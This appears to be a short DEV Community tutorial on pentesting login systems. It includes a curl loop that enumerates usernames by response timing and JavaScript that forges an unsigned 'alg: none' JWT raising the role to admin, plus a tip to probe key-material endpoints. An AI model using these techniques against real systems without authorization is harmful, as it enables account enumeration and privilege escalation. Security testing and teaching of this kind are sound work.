DEV Community

Naveen Karasu
Naveen Karasu

Posted on

Pentesting Authentication: Timing Attacks and Token Manipulation

Timing-Based Username Enumeration

Most modern apps return generic "invalid credentials" messages, but the response time tells a different story.

When bcrypt processes a valid username, it takes ~200ms to hash and compare. Invalid usernames skip this entirely. Measure the difference:

# Quick timing test with curl
for user in admin test ceo fake_user_xyz; do
  echo -n "$user: "
  curl -s -o /dev/null -w "%{time_total}s" \
    -X POST http://target.local/login \
    -d "username=$user&password=wrong"
  echo
done
Enter fullscreen mode Exit fullscreen mode

Valid accounts consistently show higher response times. Average 5 runs per username to filter noise.

JWT None Algorithm Attack

Some JWT libraries accept "alg": "none" which means no signature verification at all:

// Decode the JWT payload
const [header, payload, sig] = token.split('.');
const newHeader = btoa(JSON.stringify({"alg":"none","typ":"JWT"}));
const newPayload = btoa(JSON.stringify({
  ...JSON.parse(atob(payload)),
  role: "admin"
}));
const forged = `${newHeader}.${newPayload}.`;
// Note the trailing dot -- empty signature
Enter fullscreen mode Exit fullscreen mode

Test this before anything else. It's trivial to exploit and I still find it in production.

Tip: Always check /jwks.json and /.well-known/openid-configuration for exposed key material.

Top comments (0)